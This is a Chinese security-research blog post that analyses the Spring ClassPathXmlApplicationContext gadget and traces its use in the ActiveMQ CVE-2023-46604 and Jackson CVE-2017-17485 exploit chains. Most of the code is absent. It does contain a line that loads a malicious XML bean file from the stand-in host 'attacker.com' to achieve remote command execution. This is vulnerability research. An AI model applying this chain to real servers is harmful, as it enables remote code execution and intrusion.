【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法
原文链接: https://mp.weixin.qq.com/s?__biz=Mzk3NTE3MjU4Mg==&mid=2247484302&idx=1&sn=42e0113f5e72ddc92f84826671500353
【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法
原创 Shelter1234 安全研究员 2025-07-21 14:00
ClassPathXmlApplicationContext 是 Spring 框架中的一个重要类,用于加载应用程序的上下文配置。它从类路径中读取 XML 配置文件,并根据该配置文件创建和管理 Spring 的 bean。它的构造函数接收一个 String 类型的路径参数,支持持 http://、file://、ftp://、classpath: 等多种协议。
new ClassPathXmlApplicationContext(“http://attacker.com/poc.xml”);
该类在初始化过程中会加载传入的 XML 文件,并解析其中的
简单示例
假设我们有如下类
编写applicationContext.xml xml文件
使用ClassPathXmlApplicationContext进行加载
输出:得到这个bean对象 调用doSomething
假设applicationContext.xml 有如下的bean 我们则可以执行系统命令
只需创建context对象便可触发
ClassPathXmlApplicationContext 可支持的协议测试
1.http协议
使用python -m http.server -b 0.0.0.0 创建一个http服务,提供以下文件
(注意:加载的xml格式的文件与文件后缀无关)
ClassPathXmlApplicationContext加载,改xml格式的txt文件
执行结果
2.file协议
执行结果
3.ftp协议
本地起一个匿名服务器
运行结果
4.jar协议
jar cvf payload.jar poc.txt 生成jar包
测试结果
实战中的应用
- CVE-2017-17485
Jackson反序列化漏洞利用链
(关于jsckson的序列化利用姿势后面再讲解)
- Apache ActiveMQ OpenWire 协议反序列化命令执行漏洞 CVE-2023-46604
BaseDataStreamMarshaller 中的createThrowable方法,将会对参数进行构造方法调用,实例化一个都对象。
若参数可控,可以考虑ClassPathXmlApplicationContext的打法利用链
右键find useages – createThrowable
跟进其中一个looseUnmarsalThrowable进行分析
clazz 与 message 均来自dataIn,貌似是一个输入流
继续分析looseUnmarsalThrowable的调用
右键find useages – looseUnmarsalThrowable
跟进其中一个ExceptionResponseMarshaller进行分析
继续向上分析looseUnmarshal 的调用
最终找到一个doUnmarshal的方法
这里我们需要做如下考虑
1,我们需要dsm等于ExceptionResponseMarshaller ,这样就会调用ExceptionResponseMarshaller 的looseUnmarshal 方法。如此要dataType为31
2,this.tightEncodingEnabled 成立
继续分析doUnmarshal的调用
右键find useages – doUnmarshal
来到unmarshal 方法
继续向上
右键find useages – unmarshal
来到readCommand()
readCommand()<—doRun()<—run()
至此调用链分析就结束了
要想成功加载恶意类,控制dataIn中的数据即可,
如何制造我们想要的序列化数据呢?
既然有readCommand,那么就会有writeCommand
参考下同类下的oneway方法
有兴趣的话可以分析producer.send(message);是如何到达oneway方法的
(在 Apache ActiveMQ 中,当调用 producer.send(message) 发送消息时,消息的发送过程经过了几个步骤,最终会触发 oneway 方法。)
我们可以直接获取oneway方法,并且传入exceptionResponse
构造一个ClassPathXmlApplicationContext 它需要与ExceptionResponse 产生关联,于是便可以这样写
之后用ExceptionResponse封装这个类
有如下生成恶意的流数据,让服务端读取数据时触发异常,创建ClassPathXmlApplicationContext 对象执行代码
或者使用其他形式生成流数据
参考
https://blog.csdn.net/shelter1234567/article/details/137041683?spm=1011.2415.3001.5331 (自家博客)
https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2023-46604/README.zh-cn.md